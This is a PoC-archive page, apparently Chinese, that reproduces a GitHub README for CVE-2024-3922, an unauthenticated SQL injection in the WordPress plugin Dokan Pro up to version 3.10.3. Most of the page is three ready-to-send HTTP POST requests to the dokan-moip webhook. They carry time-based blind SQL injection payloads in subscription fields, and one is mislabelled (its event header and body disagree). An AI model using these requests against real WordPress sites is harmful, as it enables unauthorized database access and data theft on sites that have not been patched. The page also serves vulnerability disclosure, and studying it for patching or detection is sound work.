支持本站 — 捐款将帮助我们持续运营

目标: 1000 元，已筹: 1000 元

100.0%
立即捐款

POC详情: 0c306ce51f6c5caa8333760844e4e1dd0670dabe

来源
https://github.com/truonghuuphuc/CVE-2024-3922-Poc
关联漏洞
标题:WordPress plugin Dokan Pro 安全漏洞 (CVE-2024-3922)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Dokan Pro 3.10.3及之前版本存在安全漏洞，该漏洞源于由于对用户提供的参数转义不足，以及对现有SQL查询准备不足，容易受到SQL注入攻击。
Description
Dokan Pro <= 3.10.3 - Unauthenticated SQL Injection
介绍
# CVE-2024-3922-Poc
Dokan Pro &lt;= 3.10.3 - Unauthenticated SQL Injection

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/dokan-pro/dokan-pro-3103-unauthenticated-sql-injection

Require install plugin
![image](https://github.com/truonghuuphuc/CVE-2024-3922-Poc/assets/20487674/6d16fb7f-69f1-4446-9ded-4f08a477f642)


File: wp-content/plugins/dokan-pro/modules/moip/module.php 
Method: handle_moip_webhook
![image](https://github.com/truonghuuphuc/CVE-2024-3922-Poc/assets/20487674/229d231c-c4a0-469c-afb0-7244ed024079)
![image](https://github.com/truonghuuphuc/CVE-2024-3922-Poc/assets/20487674/6bc5a880-760e-4b8a-843c-1590021fd0a4)

Poc
Event: invoice.created
```
POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
Host: <Host>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.110.184:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US;
Connection: close
Content-Length: 135
Content-Type: application/json;charset=UTF-8

{"env":"1","event":"invoice.created","resource":{"subscription_code":"11111' and (select 1 from (select sleep( if(1=1,5,0) ))x )='"}}
```
![image](https://github.com/truonghuuphuc/CVE-2024-3922-Poc/assets/20487674/8756762e-bca6-464c-90ce-e3ba1399bcd6)

Event: subscription.expired
```
POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
Host: <Host>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.110.184:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US;
Connection: close
Content-Length: 129
Content-Type: application/json;charset=UTF-8

{"env":"1","event":"subscription.expired","resource":{"code":"11111' and (select 1 from (select sleep( if(1=1,5,0) ))x )='"}}
```
![image](https://github.com/truonghuuphuc/CVE-2024-3922-Poc/assets/20487674/4c921168-0399-42c6-b736-d06d57ccceb4)

Event: subscription.expired
```
POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
Host: <Host>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.110.184:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US;
Connection: close
Content-Length: 129
Content-Type: application/json;charset=UTF-8

{"env":"1","event":"subscription.updated","resource":{"status":"ACTIVE","code":"11111' and (select 1 from (select sleep( if(1=1,5,0) ))x )='"}}
```
![image](https://github.com/truonghuuphuc/CVE-2024-3922-Poc/assets/20487674/90ddbaa4-16d5-4288-98ad-23dc84a053e9)
文件快照

 [4.0K]  /data/pocs/0c306ce51f6c5caa8333760844e4e1dd0670dabe
├── [ 12M]  dokanpro3103n.rar
└── [3.5K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。